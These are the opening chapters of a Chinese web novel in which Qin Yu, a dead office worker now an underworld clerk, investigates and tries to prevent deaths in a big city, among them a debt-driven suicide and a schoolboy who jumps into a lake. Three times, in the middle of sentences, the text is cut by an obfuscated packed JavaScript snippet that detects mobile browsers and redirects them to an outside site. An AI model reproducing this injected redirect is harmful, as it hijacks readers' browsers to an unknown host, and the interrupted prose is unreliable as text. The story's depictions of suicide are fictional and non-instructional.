《地府打工人的KPI是救人！》 1. 杠杆 “等等我！” 秦羽今天睡过了，一路小跑，可算在规定时辰前赶到了府衙，回过头，她看到吴筱筱喘着粗气叉着腰，一副再跑两步就要断气的样子，不禁笑出声。 她的一条腿都要迈进大门了，又被吴筱筱给拽了回来。 “小道消息！咱们今天还是晚点到比较好。” “为什么？” 吴筱筱和秦羽生前在同一个单位上班，死后又恰巧被分到地府的同一个机构当公务员，她知道筱筱的性格，生前她就巨八卦，单位里什么大道小道的消息她都最快知道，现在当上地府公务员，手上有点小权力，在人间办事的时候更是喜欢钻墙缝听八卦。 “我听说今天要分配新的任务。” “啥任务？” 吴筱筱眨巴眨巴小眼睛，示意秦羽的耳朵靠的近一些。 “人间这些年不太平，死的人太多了，听说无常组都收不过来了，最近一团乱，每天996疯狂加班也完不成任务，那些死后没被收的灵魂飘的到处都是，根本没时间安排好后续的轮回和投胎事宜，上面大发雷霆，说要成立什么人间特别行动小组，专门负责调查人类死亡什么的……” 秦羽睁大眼睛有些激动:“这活听起来挺有意思的，我愿意干！” 吴筱筱丝毫不留情面，使劲拍了秦羽一下:“你傻啊，这活有什么好的，每天都要看死人，吓人吧啦的，我可不愿意干！” “看死人有什么可怕的，咱们不就是死人……” 吴筱筱眯起眼睛，开始挠她为数不多的头发，回道:“反正我是不愿意去，咱俩现在的工作内容就挺好的，大多数时间在府衙里整理整理资料，偶尔去趟人间出差排查排查，更新一下地名路名什么的，多清闲啊，我可不想像无常组那样，三班倒的忙。” “可是……我想早点转正，听说转正后如果干得好，绩效高的话，有机会得到延生符。” “好吧……” 真是个卷王。 吴筱筱想起秦羽死前也是个卷王，领导安排什么都做得又快又好，领导很欣慰，于是安排了更多的活给她做，怪不得她最后猝死在单位的厕所里，真的是因果报应。 秦羽进门前念叨：“筱筱，你还是赶紧买个假发戴上吧，省得到人间执行任务的时候不方便，哪个正常的女孩子会留一九分的地中海发型啊，真的是……” 吴筱筱不情不愿的跟了进去，抱怨道:“你以为我不想吗，我戴过，可每次走生门的时候风太大，总是被吹飞，地府怎么就没有质量好点的假发商店呢……” “XXXX8150号，秦羽，到了没有？” 大殿里灯光昏暗，其他鬼差接完任务都离开了，剩下秦羽和吴筱筱毕恭毕敬的跪在深褐色的地毯上，那地毯从门外一直延伸到两人面前的长阶，长阶的尽头被朱红色的帘子挡住，后面的判官长什么样，两人从没看清楚过。 “我到了！” 秦羽抬起头，瞄了一眼远处的珠帘，也不知道是不是地府也要节能减排，每次到这大殿领任务总是黑漆漆的。 “你这次的任务是……” 后面说的什么，秦羽实在听不清楚，后勤部门怎么就不能在大殿里装个扩音器呢，或者直接让判官拿个喇叭也行啊。 每次安排任务，总是嘀嘀咕咕，不知道在说些什么，急得她不行。 好在判官嘀咕完，会有份具体的文书发下来，不然这活她真是没法干了。 奇怪是，这次文书还没飞来，面前先多了一个精致的青花瓷骨碟，里面装着两样东西。 一个黑白格的发夹，还有个彩色珠子做的手链。 秦羽和吴筱筱盯着面前的碟子发呆，这是……什么意思？送她们的礼物吗？她俩搞不懂，也就不敢动。 过了好一会儿，珠帘后面的判官清了口痰，再次开口时声音终于能听清了。 “愣着……愣着干嘛，选一个啊！快点！” 秦羽：“噢……” 吴筱筱先一步戴上了彩色手链，秦羽没得选，只好拿起剩下的发夹，放在面前仔细观察。 你别说，这地府假发做的不行，发夹倒是不错，审美高级，还是小香风的。 秦羽对发夹挺满意，她本想问问筱筱真的不要发夹了吗，而后反应过来，筱筱现在的发型一点也不适合这个发夹。 “保存好，不要弄丢了。”判官又咳了几声，“好了，去吧。” 秦羽拿起地上突然出现的文书，觉得有些沉，内容明显比之前多，看来如筱筱所说，这次的任务确实不一般。 * F市。 乌云密布，此刻正下着绵绵细雨。 天气应该有些冷，但秦羽感觉不到。 在天上向北飘了许久，秦羽还没看到F市的尽头，不得不感叹，F市可真大啊。 秦羽死前一直生活在北方的十八线小城市，从南到北开车不到半小时就出去了，那里地方小，人也少，楼房顶多盖到十几层，她之前有听说过F市的繁华，但从来没有亲眼见过。 F市的摩天大楼高的离谱，她为了观察无常们留下的标记，不得不飞得低一些，但有些大楼总是突然出现，挡住她的视线，害得她好几次都需要紧急转弯。 又飞了好久，秦羽可算看到了城市的边界线，为了熟悉地形，她本打算再绕着城市的边界来一圈，可此刻脚下的一栋楼，有盏红灯闪的厉害。 根据文书的记录，人之将死时身体会散发出奇怪的味道，不管是正常死，亦或是意外死亡，无常组打前哨的鬼差都会接收到讯息，并且在那个位置放置红灯，红灯闪的越厉害，表示这个人的死期快到了，而秦羽的任务则是，尽量在人死之前调查一下可能的死因，如果是自然老死那这她管不了，如果是意外、凶杀、自杀等原因，她可以想办法看看能否让这个人脱离危险。 拯救的人越多，她的任务完成分数会越高，那年终绩效自然也会高一些。 她仔细分析了文书里列的历年死亡人数数据，对死亡原因做了归类，并计算出各个城市的死亡比率，最终选择了F市作为她执行任务的地点。 繁华发达的城市一般经济发展会很快，但在这样城市生存的人往往会变成城市飞速发展的牺牲品，这里工作机会多，生活压力也相对较大。 F市去年的自杀人数在全国位列第一。 秦羽暗自庆幸自己死前生活在小城市，虽说没见过什么大世面，但胜在稳定、安逸。 红灯系在阳台的栏杆上，秦羽平稳落地后，急忙穿墙飘了进去。 房间不大，只有起居室和一个洗手间，秦羽在房间里飘了一圈，最终目光落在床上。 一个男人躺在床上，没有什么动静。 卧槽，不会已经死了吧？ 秦羽将脸凑到男人旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289548|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边，瞪大了眼睛，观察了一阵，随后想到可以用手指试试他的呼吸。 真的死了…… 没有呼吸了。 看来她到的晚了些，秦羽有些惋惜的叹了口气。 小伙子长得还不错，可惜已经死了。 临走前，她突然想研究一下他的死因，调查死因应该是她之后工作的主旋律了，这趟不能白来，就先用他练练手吧。 死相安详，死前没有任何挣扎，排除他杀和猝死。 如果是自杀的话，应该是用了大量安眠药直接睡过去了。 秦羽在房间里飘了几圈，没找到任何可疑的药罐子。 难道是在外面吃完再回家睡的？ 秦羽的大脑正在高速运转，不料房间的灯突然亮了。 那男人…… 诈尸了！！！ 秦羽缩在房间的阴影处，继续平复无比震惊的情绪。 三秒后，她被自己蠢哭了。 刚刚没有变成人的形态就去感知男人的呼吸，她能感觉到才怪呢！ 虚惊一场，但秦羽不敢掉以轻心，阳台的红灯此刻不仅闪的快，还伴随着刺耳的铃声，这意味着这个漂亮男人的死期将至。 男人从床上爬起来打了个哈欠，穿好拖鞋，走进洗手间。 秦羽飞到房顶，从阴影处一路过渡到洗手间的墙角藏好。 男人开始脱衣服，露出雪白的胸膛和紧实的腹肌。 嗯，他身材不错。 秦羽瞟了几眼，感觉脸有些发烫。 男人继续脱下面的衣服。 秦羽捂住眼睛，飘到浴缸那边。 铃声越来越响。 如果没猜错的话，他这是要用浴缸自杀吧？ 或者是踩到了水，滑倒摔死。 第一天出任务秦羽不敢赌，她顺着出水管道找到阀门，用念力将阀门关掉。 回到浴室时，男人果然正在为喷头不出水而苦恼。 干到漂亮！ 秦羽在心里默默夸自己，洞察力超强，行动力超快，年终绩效她必要拿第一！ 男人在浴室里折腾了一会儿，最后还是放弃了，回到床边，在抽屉里翻到一板药片，扣出最后两片，准备放到嘴里，不料手一滑，药片掉在地上，滚到了床底下。 男人有些烦躁，在抽屉里又翻了一会儿，除了一罐彩虹糖，没找到其他有用的东西。 他叹了口气，拿起彩虹糖罐，左拧右掰，龇牙咧嘴，最后气的把罐子摔到地上。 “靠！今天真他妈点背！” 秦羽盯着他乖乖躺下盖好被子，暗自松了口气，为了更安全，她甚至偷偷把床边的充电器也给拔了。 熄灯了。 秦羽坐在床上休息，无聊得哼起歌。 “等待，我随时随地在等待，作你感情上的依赖，我没有任何的疑问，这是爱……” 十分钟后，男人终于不再翻来翻去，秦羽听到了他均匀的呼吸声。 没想到第一次做任务就这么顺利，秦羽躺在他旁边，打算整晚盯着他，确保他没有任何安全隐患。 凌晨十分，阳台又传来一阵铃声，声音越来越大，秦羽有些紧张，凑到男人面前，却没发现他有什么异常。 半夜三更，隔壁传来一阵响动和讲话声，秦羽觉得那声音很熟悉。 她穿过墙，只见一男人倒在血泊中。 2. 杠杆 “他断气了吗？” 男人裸露着上半身，脸色惨白，嘴唇发紫，身边的血似乎是从左手手臂方向流过来的，床头柜上有把沾了血的水果刀。 应该是割腕自杀。 “不然我们出现在这里干啥？闲着没事干？” 无常组的鬼差们最近忙疯了，说话语气有点冲，秦羽都能理解。 “大哥，我这有几袋酸梅，是新鲜的，巨酸无比，你们要不要尝尝？” 秦羽从肚子里掏出几个黑色袋子，个子高些的无常大哥仔细闻了闻，脸上立即乌云转晴:“姑娘有心了，那我就不客气了！” 大哥的长舌头伸过来，卷走了黑色袋子，随后灵巧的从袋子里卷了些酸梅放进嘴里品尝。 “嗯，味道不错。” 吴筱筱跟她说过，无常们最喜欢吃酸的，秦羽知道今后的工作难免要和无常们搞好关系，因此特意准备了好多酸梅。 “大哥，F市死亡率这么高，你们一定很辛苦吧？” 大哥闻言面露苦相，抱怨道:“是啊，从早到晚没完没了的收人，一刻都不得安宁，烦死了。本来老大说今年要扩招的，结果大家一听我们组活多又总出差，根本就没人愿意来，现在可好，新人没来，旧人倒是跑了不少！唉，再干一年，攒够了绩效，我就能升职了，到时候只要负责统计和分配任务就行，再也不用吃这种苦了……” “师傅！我没你可不行！”矮子稍矮些的无常听完这话，哭丧个脸，舌头上的口水滴滴答答的，一副要哭的样子。 “说了多少遍了，绳子不是这么打结的，要这样多绕几圈！” 正说着，无常大哥腰间类似BB机的装备响了。 “小四，这人我来绑就行，你先去城南一趟。” 小四听后乖乖放下绳子，从阳台飘出去了。 秦羽顺着他离开的方向望去，只见阳台上那个红色的灯被他摘了下来，接着在腰间的装备上像扫码似的比划了一下。 “嘀……系统已更新，XXXXX单已完成。” “死了么接单成功！地址在XX街道XX小区……” 小四离开后，秦羽飘到阳台，伸着脖子左右看了会儿，这才反应过来。 昨晚……她应该是搞错地方了。 顺着阳台进去就好了，为什么当时非要穿墙呢？ …… 也就是说，她在隔壁花了那么多时间那么多心思，全是脱裤子放屁，多此一举。 正主原来在这呢！ 怪不得刚才她要休息时铃声一直在响…… 什么洞察力和行动力超强，秦羽此刻只觉得自己像个笑话。 “对了，你在这里干嘛？” “我……”秦羽认为现在不能说实话，否则这事搞不好会在无常组传开，会给她们人间特别行动小组蒙羞的，“呃，我晚上闲着没事，出来溜达溜达。” 无常大哥没再说什么，低头一顿忙活，几分钟后，那男人被五花大绑扛在大哥的肩膀上。 “真沉啊！” 秦羽仔细看了看那男人，他年纪不大，顶多三十出头，可能是被死后的世界吓傻了，此刻眼睛闭得紧紧的，装作晕倒的样子靠在无常大哥身上。 秦羽很想问问他到底为什么要自杀，可无常大哥压根没给她时间，腰间的BB机又响个不停。 “姑娘，酸梅很好吃，有缘再见吧。” 无常大哥法力无边，眨眼的功夫就不见了。 房间里有股浓浓的血腥味，秦羽很不喜欢这种味道，可为了练习调查能力，也只能捂着鼻子在房间里找寻男人轻生的根本原因。 文书里有写，能救的则救，实在救不了的就记录死亡原因，等收集的情报够多了，秦羽打算好好写份《当代人类死亡调研报告》。 这个房间的整体感觉和隔壁相差很大，看得出隔壁帅哥是常住在这里的，房间里必需的生活用品全都有，而这里则像廉价酒店一样，除了一块毛巾，一双拖鞋，一卷卫生纸外，找不到其他生活用品，冰箱里有股发霉的味道，里面的食物已经过期许久，衣柜里只有两件衣服和一双鞋。 阳台旁的书桌上散落着几张纸，借着月光，秦羽拿起表面的那张纸，上面的文字娟秀整齐，又不失笔力，见字如见人，秦羽觉得这个男人属于心思细腻，做事认真型的。 “爸妈，对不起，是儿子不孝，不能替你们养老送终了……我很努力的想要在F市闯出一片天，想让家里过上更好的生活，可我终究没有做到，还拖累了你们……我太累了，先走了……不要怪莉莉，我的死跟她没有关系，是我自己的决定……张鹏绝笔。” 到底有什么事情想不开，非要选择这么暴力的自杀方式，秦羽不敢想象男人父母赶来认尸，看到遗书时的绝望场景。 莉莉又是谁？ 带着一脑子的问号，秦羽将抽屉里的资料都看了一遍，期间男人的手机响了几次，秦羽用男人的指纹打开手机的密码锁，虽然有些不道德……但没办法，这是她的工作。 天亮前，秦羽终于理清了一切。 十二年前，张鹏被F市最好的大学录取，并选了当时最热的计算机专业就读。 八年前，张鹏顺利毕业，在F市一家科技公司开启职业生涯。 五年前，张鹏拿出自己全部的积蓄50w，加上父母的全部积蓄50w以及亲戚们的借款20w，总共120w，作为首付在F市买了套房子，面积只有六十多平，总价三百六十万。他向银行贷了240w，分三十年还，每个月大概一万五，这五年来，他白天在科技公司干一份正式工作，晚上九点回家后再接一些外包的兼职做，每个月的工资百分之八十以上都用来还贷款和亲戚们了。 同年，他和喜欢已久的莉莉结婚了，两个人在偌大的F市彼此有了依靠，他们很少去外面的餐厅吃饭，几乎都是在公司食堂解决，他们几乎不出门旅游，最开心的事情就是周日窝在家里追剧打游戏。 一年前，莉莉意外怀孕了，莉莉从事的工作要三班倒，不适合养胎，张鹏劝她辞了职，在家安心休息。可没几个月，张鹏所在的公司因为效益不佳，开始降本增效，实行“广进”计划，他本以为自己的绩效一向是组里最优，裁员的大刀不会砍过来，可没想到他们整个小组都因为项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289549|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变更的原因被优化了。 家里没有一点存款，张鹏顶着压力跟父母拿了一些，但父母的那点钱勉强维持生活还行，要还贷款可谓是痴人说梦，后来他没办法，又厚着脸皮和老朋友老同事借了一些钱，勉强维持着月供。 半年前，他因为大环境不好，一直找不到工作，被父母和莉莉逼得脱下孔乙己的长衫，开始开专车，如此辛苦的他没有换来一丝家庭的温暖，没多久他发现莉莉偷偷把孩子打掉了，还在外面找了别的男人。 两个月前，莉莉提出离婚，他没脸再留住她，只好在协议书上签了字。 从那以后，他开始了醉生梦死的生活。 银行的催款电话每天早晚都会如期而至，不得已他只好将房子挂牌出售。 半个月前，他终于把房子卖掉了，总价却只有一百六十万，已经把所有钱都还给银行，还倒欠银行六十多万，这还没算这些年他欠亲戚的钱和自己每个月还的钱。 就这样，张鹏的人生观和价值观彻底崩塌了。 带入一下，秦羽多少可以理解他一些了，但他年纪轻轻，有手有脚，欠的钱其实不算非常多，努力几年还是可以还清的，为什么非要死呢。 阳台门突然被风吹开，桌上的遗书从秦羽面前飘走，在空中旋转了几下后突然坠落，最终掉在那摊血泊中。 秦羽望着地上那男人的肉身，心里觉得堵得慌。 清晨的第一缕阳光照进来，射在桌子上，秦羽低头看去。 那是一张被撕碎，又被耐心拼好的B超单，图片上有个像豆芽一样，黑乎乎的东西。 秦羽知道那是什么。 可能这才是压倒张鹏的最后一根稻草吧。 哀莫大于心死。 可惜了，这么好的阳光，他今后很难再看到了。 * 离开之前，秦羽飘到男人身边，戴上发夹。 她的手有了人类的体温。 男人的额头冰凉，她小心翼翼的帮他合上双眼。 听筱筱说，人如果死不瞑目，魂魄的戾气就会很重，这样的人到了地府会不太安分，总是想回到人间作孤魂野鬼，要想再进入轮回可要遭不少罪呢。 “砰！” 门突然开了，秦羽摘下发夹，瞬间化于无形。 咦，是隔壁的帅哥。 此刻的他和昨晚很不一样，黑衣宽松卫衣配蓝色破洞牛仔裤，看起来超酷。 还好要死的不是他，不然秦羽还真有那么点心疼和不舍。 帅哥破门而入，看到如此血腥的场景后，放在嘴里的油条没松，还使劲咬了几口，直接咽了。 秦羽不禁在暗处拍手称赞：“……好定力！” “喂？这里是XX小区XX栋XXX室，有人死了，快点派人来看看。” 秦羽从阳台飘走，这里没她的事儿了。 可恶，第一天出任务，就搞了个大乌龙。 蓝哲双手插兜靠着墙，望向阳台的方向，点了支烟。 看着烟圈缓慢上升，他轻声哼唱。 “等待，我随时随地在等待，作你感情上的依赖……” 3. 秘密 昨夜下了一整晚的雨，早晨乌云散去，晴空万里。 秦羽在F市上空飘着，努力找寻下一个目标。 一幢大楼吸引了她的注意，她落下来，发现是家医院，还是肿瘤专科医院，怪不得这么多标记同时在亮。 生老病死，是每个人都必须要经历的过程，她没办法在极短的时间内拯救他们的生命，她不会魔法，也变不出延生符。 看来需要记一下F市所有医院的地址，省得之后排查起来麻烦。 想到这，秦羽觉得现在非常需要一份F市的详细地图。 秦羽灵光一闪，落在了一片湖的旁边，没猜错的话，这儿应该是个景区，一般景区门口肯定有卖地图的。 戴上发夹，秦羽变成了一个穿着学生服的女孩。 大大的眼睛，小小的脸蛋，个子不高，齐肩的短发。 文书上说，回到人间变出肉身时，最好不要用自己本来的样子，如果被生前认识的人看见了会很麻烦，因此离开地府前，秦羽精心挑选了十张皮囊，其中有男人也有女人，有老人也有小孩，为了适配不同的场景，她尽量选择不同身份和不同相貌，以备不时之需。 这个穿着学生服的女孩，大概十五六岁的样子，长得非常有亲和力，笑起来还有两个酒窝。 顶着这幅皮囊，秦羽觉得问些什么怪怪傻傻的问题，都不显得突兀了。 “阿姨好！我想要一张F市的地图！” 景区门口有个文创店，店员看到秦羽笑眯眯的可爱样子，忍不住多看了几眼，好奇的问道:“小姑娘，今天不是周五么，怎么没去上课呀？” “嗯……我们学校今天大扫除，所以放了一天假。” 秦羽随口瞎扯，暗自记下，下次周内白天还是不要换学生装了。 “噢，怪不得。”店员从桌面上的一叠纸中抽出了一张，递到秦羽手里，“刚才我还看见一个学生进去了呢。” 秦羽打开地图看了会儿，满意的点点头，开口问:“请问阿姨这个多少钱呀？” “五块钱，你扫这个就行。” 秦羽盯着面前的二维码图片，她知道这些年人间都用这东西付钱，可是她没有手机，也就没法扫这个码。 “阿姨，现金可以吗？” “也行，不过面值最好别太大，我这边没什么零钱可以找给你。” 秦羽掏出口袋里的钱包，里面只有几百块钱，这是她全部的积蓄了，地府通货膨胀很严重，她昨天用五百亿才换了这么点人民币。 “阿姨，我要两份地图好了。” 秦羽交给店员十块钱，心想这么下去可不行，要不白天偶尔在人间打点工得了，总归身上要有个几千块应急才稳妥。 “铃……” 不好，有情况。 铃声是从景区里面传出来的，秦羽跑到景区门口扫了一眼，定位到一个背着书包的小孩。 “喂？你的门票呢？”景区门口的保安拦住正要冲进去的秦羽。 秦羽无奈，掏出八十块钱买了张门票。 秦羽小跑着追上目标，跟在他身后耐心观察。 他个子跟秦羽差不多高，身上也穿着校服，不过他的是深蓝色和白色拼接的，还印着“F市二中”的logo，脚上穿的蓝色帆布鞋看着很旧，后跟磨损严重，左脚脚跟磨得更多，走起路来一高一低的，有点不协调。 他的书包好像很沉的样子，为了不让肩带滑下来，需要一边走一边用手拉住肩带。 景区很大，有座小山，周围一圈是湖，湖中间修了连廊，每走一会儿有小亭子可以休息，湖的周围分布着各式各样的小花园，有看鸟的地方，有看花的地方，还有一片松树的森林。 周内的上午，景区里没几个人，除了一些办了年卡的老人来散步，秦羽看到的游客就只有几对情侣。 因为人太少，秦羽偶尔跟的近了些，就会显得很奇怪，小男孩期间回头看过她一次，她怕打草惊蛇，只好躲得远远的，暗中观察。 为了不重蹈昨天的乌龙，这次她决定先多观察，少提前干预。 又走了许久，男孩在一座桥上停下脚步，秦羽躲在桥下时刻保持警惕。 男孩扶着栏杆，伸着脖子盯着桥下的湖面看了会儿，然后蹲下来将自己缩成一团。秦羽发现他的肩膀一抖一抖的，应该是在哭。 好可怜的样子。 看他年纪，顶多在上初中，到底有什么心事这么难过呢。 秦羽犹豫要不要上前安慰他几句，男孩突然站起来，鼓足了劲，翻过栏杆跳了下去。 “扑通……” 湖面惊起一层水花。 男孩的书包很重，拖着他一直下沉，几秒钟的功夫便没影了。 秦羽再也顾不得其他，冲到桥上相同的位置，纵身跳了下去准备营救男孩。 下水后，她扑腾的几下，震惊的发现这副皮囊居然不会游泳，而她虽然会游泳，但此刻不知道为什么，两条腿跟灌了铅似的，怎么也使不上劲。 这下完蛋了。 秦羽不停的挣扎，用尽最后的力气大声呼救。 “救命啊！” “来人啊！” “要死了！” “……” 一阵呼救后岸边没出现一个人，秦羽陷入绝望，身体也开始下沉。 她本来就是个死人，再死一次也不打紧，况且等到她坚持不住的时候，还可以摘下发夹，变回魂魄逃走，但是，小男孩怎么办，她怎么能眼睁睁的看着他去死。 这是她第二次出任务，也是失败的第二次。 她开始陷入自我怀疑中，当初是不是应该听筱筱的话，别进这个人间特别行动小组就好了。 也许，在地府搞点文职做是最适合她的，像这种高难度的任务还是留给专业的人吧…… 下落中，秦羽继续找寻小男孩的位置，她意外发现这具皮囊虽然游泳不行，但肺活量还可以。 看到男孩在湖底弱小的身影和惨白的小脸，秦羽鼓着腮帮子，心想这次拼了命也要再努力试一试。 秦羽在水中勉强找到了一些平衡，一只手挣扎着往小男孩的方向扑腾，终于拽到了他的书包背带。 说到底都是这破书包害的，秦羽用尽最后的力量把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289550|166967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书包从小男孩身上扯下来。 本想再使劲向上推他一把的，但秦羽实在憋不住气了。 煞那间，水里多了道亮光，一只手抓住了她的脚腕。 有人来救他们了！！！ * “快看看他怎么样了？” 上岸后，秦羽扑到小男孩身边，紧张的盯着他的脸。 男人熟练的进行胸部按压抢救小男孩，回道：“行不行，就看他的造化了。” 秦羽攥紧拳头，继续盯着小男孩的脸，跟刚才一样惨白惨白的。 “咳……” 小男孩突然喷出一口水，男人停止手上的动作，转而扶起小男孩的上半身，使劲拍他的后背。 小男孩又吐出了几口水。 他的脸瞬间恢复血色，秦羽松了一口气，鼻腔里有些返流的水，弄得她使劲咳个不停。 “你没事吧？”男人回过头看着秦羽。 刚刚慌乱中，秦羽没有仔细看他的脸，这会儿迎面对上他的目光，她突然愣住了。 呃，这不是昨晚和她睡在一个床上的帅哥吗？ “嗯……我没事，谢谢你，大英雄！” 男人听到这个称呼后嘴角勾了勾，回道：“小事，算不得什么英雄。” 小男孩咳了几下，目光呆滞的看着前方，不知道在想些什么。 秦羽靠近他，笑了笑问：“弟弟，你好些了吗？” “嗯。” 小男孩把头转向一边，气鼓鼓的说：“你们为什么要救我？我已经准备好了……为什么要救我……呜呜……” 他说完这句话，又把自己缩成一团，身子一抖一抖的。 秦羽见他可怜，不好再继续问他自杀的原因，只好在一旁默默的陪着他。 “小屁孩，你哭够了没有？” 男人倒是不给他面子，开始劈头盖脸的骂他。 “别人救了你，你要说谢谢，知不知道？这姐姐为了救你，自己差点都死了！你心里不会觉得愧疚吗？” “小小年纪，有什么想不开的！是奥特曼不好看，还是遥控车不好玩啊？” “学什么不好，非要学跳湖自杀？” “是不是觉得自己这样很帅啊？” “是不是短视频刷多了，给脑子刷坏了？” “你爸妈在哪里？再哭！再哭我这就给你送派出所去！” 他这样连珠炮似的刺激小男孩，秦羽在一旁觉得，这个男人虽然长得帅，但也太冷血无情了吧，没看人家还在哭呢，就不能让小孩子缓缓再说嘛。 “你什么都不知道！别胡说八道了！” 男孩抬起头，小脸皱成一团，眼泪鼻涕都混在一起了，秦羽看着更是心疼。 男人继续激他:“那你倒是说说，为什么要跳湖啊？别告诉我，你那是要去抓鱼！” “我……”小男孩狠抽了几下鼻子，鼻涕终于少一些了，“我可以告诉你们，但你们一定要替我保密！” 男人和秦羽对视了一眼，表情有些哭笑不得。 “好的，保密。” “保密，你说吧。” 4. 秘密 “我受够了！我不想再去学校了！” 还以为是什么不得了的原因，居然需要保密，秦羽觉得从一个学生嘴里听到不想上学了，其实没什么稀奇的。她知道，F市所在的省份在教育上一向是全国最卷的，高中卷已经是全国常态，但听说F市的小学就要开始卷了，小升初非常重要，如果没有考上升学率高的初中，基本上就告别高中了。现在实行的是初中毕业分流，成绩好的可以继续念高中，有机会考大学，成绩不行的直接上中专，培养点专业技术，方便以后就业。 可能是学业太重，父母又逼得太紧，把小孩弄崩溃了，只好跳湖寻求解脱。 秦羽思考中，男人先一步开口，又是一顿狂喷。 “不去上学你想干什么？去网吧打游戏吗？” “哪个好人家的小孩这个年纪不上学，在外面瞎晃悠啊！” “还是你想提前工作，我这边倒是认识个电子厂，要不要送你去当童工啊？我倒要看看你不吃不喝，在产线上盯八个小时，受不受得了！” “不好好上学，以后就是这个下场！” “……” 秦羽见小男孩的脸越憋越红，再这样下去不知道又要做出什么傻事，急忙开口打断他：“叔叔！你说话能不能温柔点！他刚才差点就死掉了，别再刺激他了！” 她的语气有点凶，再配上她现在小姑娘的尖细嗓音，更是压迫感十足，男人露出无奈的表情，暂时闭了嘴。 小男孩再次开口。 “我没脸再去学校上学了……” 这次男人没有马上开喷，秦羽也没说话，周围很安静，远处传来小鸟叽叽喳喳的声音。过了许久，小男孩的情绪似乎酝酿到极点了，开始边抽泣边讲他的故事。 * 小志就读于F市二中的初一九班。二中一届共有十个班级，一班和二班是精英班，也就是大家常说的重点班，三班至十班是普通班，虽说三班到十班的学生成绩分布不是彻底从高到低排名的，但成绩好的学生比例确实是从高到低排的。 小志小升初的成绩一般，只超过了二中分数线三分，因此被排在九班上学。这已经是他小学几年拼命学习熬出来的结果，他的天资一般，比如说数学，他只能做到把学过的题尽量答对，做不到融会贯通，如果出题人换种思路，用刁钻的角度再对一个公式出题，他常常就做不出来了。 小学三年级开始，父母给他请了一对一家教，周内晚上上三次，周末则去参加其他补习班和兴趣班。那几年，小志都不愿意回忆，实在是太辛苦了，如果考试成绩不理想，父母常常会用许多难听的话骂他，让他印象最深刻的是那几句。 “爸妈努力赚钱供你上学，又给你请家教，报班，你是怎么回报我们的？那么多钱就算扔水里还能听个响呢，怎么花在你身上，什么用都没有，真是个废物！” “当年我们上学的时候多艰苦啊，父母有钱能供孩子读书就不错了，哪像现在啊，又是家教，又是提升班，如果当年我有这种条件，我早就考上最好的大学了，现在的生活不知道过得多好呢，珍惜吧，珍惜你现在的好时光，好好念书，多用点脑子……” “都是你脑子笨，不然咱们儿子读书怎么会这么费劲……” “你是猪吗，猪都比你脑子好使……” 当然爸妈也有心情好的时候，比如重要的考试前，他们会像变了个人一样，突然对他好得不得了，比如他成功考上F市二中时，爸妈带他去了他期望好久的恐龙乐园。 初中开始后，小志的成绩不如人意，他已经很努力了，但突然冒出的新学科让他学起来很吃力，另一方面的困扰是，他几乎没有什么知心的朋友可以分享心事排解忧愁。 九班和十班有不少学生是特招来的，比如体育特招，艺术特招，还有一类学生是……关系特招。为了有个好的学习环境，F市一些位高权重的父母会想尽办法将学习成绩一般的孩子塞进来，关系如果非常硬的，说不定可以进精英班当个吊车尾，大部分关系一般的，就会被平均分配到三班至十班，当然九班和十班的比例会重一些。 小志一个普通家庭出来的孩子，自然跟那些孩子玩不到一块去，就更难成为朋友了。虽然不是朋友，但小志会经常帮他们写作业，不是小志狗腿，实在是没办法拒绝。 他不想成为那些孩子平日里嬉笑把玩的可怜虫，他知道，如果不合理的拒绝次数太多，他今后的日子肯定会不好过，还有个更重要的原因，是小静。 小静跟他一样，也是普通人家的孩子，她长得娴静可爱，性格温婉，班上的同学都跟她关系不错，至少表面上是这样。有几个男生总让小静帮忙写作业，他有时候不忍心，便会偷偷帮她完成任务。 小静很感激他，两人一来二去的，成了可以谈心的好朋友。平安夜那晚，小静送了他一个礼物，虽说只是个红苹果，但他抱着苹果开心得整晚都睡不着。 自那以后，小志变得非常喜欢上学了，为了让小静高看他一些，他开始更努力的学习新科目，提升成绩，功夫不负有心人，初一上学期的期末考试他考了全班第五名，爸妈很开心，他也很开心。 可下学期刚开学没多久，他的世界就发生了翻天覆地的变化。 小静突然变得很冷漠，不爱跟他说话了，就连他主动凑上去聊天，几次也被她用别的事情敷衍过去了，小静怎么了，他不知道。第一次月考，他考砸了，数学竟然没及格。 爸妈的态度与寒假相比，发生了巨大的变化，言语间又开始逼迫和辱骂他，连他周末一向喜欢上的吉他课，也被爸妈以耽误学习为由停掉了。 某天他到教室时，同学们看他的目光变得很奇怪，有人笑呵呵的，有人在他背后不知道偷偷在嘀咕着什么，小静就更奇怪了，只要在走廊遇到她，她会马上掉头，消失在他的视线里。 他脑子昏昏沉沉的，这样的日子持续了一周，直到班主任将他叫到办公室，他才知道到底发生了什么。 